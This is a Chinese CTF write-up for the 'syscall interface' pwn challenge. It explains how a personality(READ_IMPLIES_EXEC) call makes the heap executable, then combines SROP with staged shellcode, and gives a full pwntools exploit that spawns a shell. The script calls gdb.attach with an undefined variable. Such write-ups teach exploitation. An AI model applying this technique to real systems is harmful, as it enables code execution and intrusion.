[Pwn] syscall interface - cpt.shao xp0int Posted on Apr 23 2020 比赛的时候没有解出这题,当时尝试遍历syscall num来看有没有系统调用可以泄露地址,想着可以bypass aslr,但是逻辑上来讲syscall作为程序与内核的接口,不应该泄露出程序运行的地址信息。当时候确认两个比较有用的系统调用`sys_brk`和`sys_rt_sigreturn`,前者可以得到一个heap地址,后者可以做srop来控制rip等寄存器。 看了wp之后才发现思考的方向错了,按照一般bypass dep的思路都是通过rop,做rop又需要泄露地址。但是这里其实可以通过`sys_personality`,`READ_IMPLIES_EXEC`来解除dep,这个系统调用可以把新mmap的内存的`read`权限同时映射为`exec`权限,先调用这个syscall之后在调用`sys_brk`的话,就能解除heap的执行限制。 后面比较巧妙的一点是通过`printf`函数把name中的内容放到堆中,我们可以在name中藏一段短shellcode,然后通过srop跳转到短shellcode的位置,短shellcode的作用是读取更长的get shell shellcode。 知道了`READ_IMPLIES_EXEC`的用法的话基本就变成了很简单的srop了,直接想办法读shellcode执行就好了。 ```python from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' env = {'LD_PRELOAD': ''} # context.log_level = 'debug' if len(sys.argv) == 1: p = process('./syscall_interface') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) def update_name(name): sla("choice:", "1") sla("username:", name) def syscall(num, arg): sla("choice:", "0") sla("number:", str(num)) sla("argument:", str(arg)) def sigret(): syscall(15, 0) def brk(): syscall(12, 0) ru("RET(") res = int(ru(")")[:-1], 16) return res def personality(): syscall(135, 0x400000) # READ_IMPLIES_EXEC def getuid(): syscall(102, 0) personality() heap = brk() - 0x21000 info_addr("heap", heap) payload = fit({ 0: u64(asm("push rsp; pop rsi;xor rax,rax; syscall").ljust(8, "\x90")), #rbp 8: 0, # rbx 16: 0x200, # rdx 24: heap+0x100, # rax 32: 0, # rcx 40: heap+0x30, #rsp 48: heap+0x40, #rip 64: 0x002b000000000033, #cs: ss }, filler="\x00") update_name(payload) gdb.attach(p, gdbcmd) brk() sigret() se("\x90"*0x50 + asm(shellcraft.amd64.linux.sh())) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 0x00 题目名称
没有帐号? 立即注册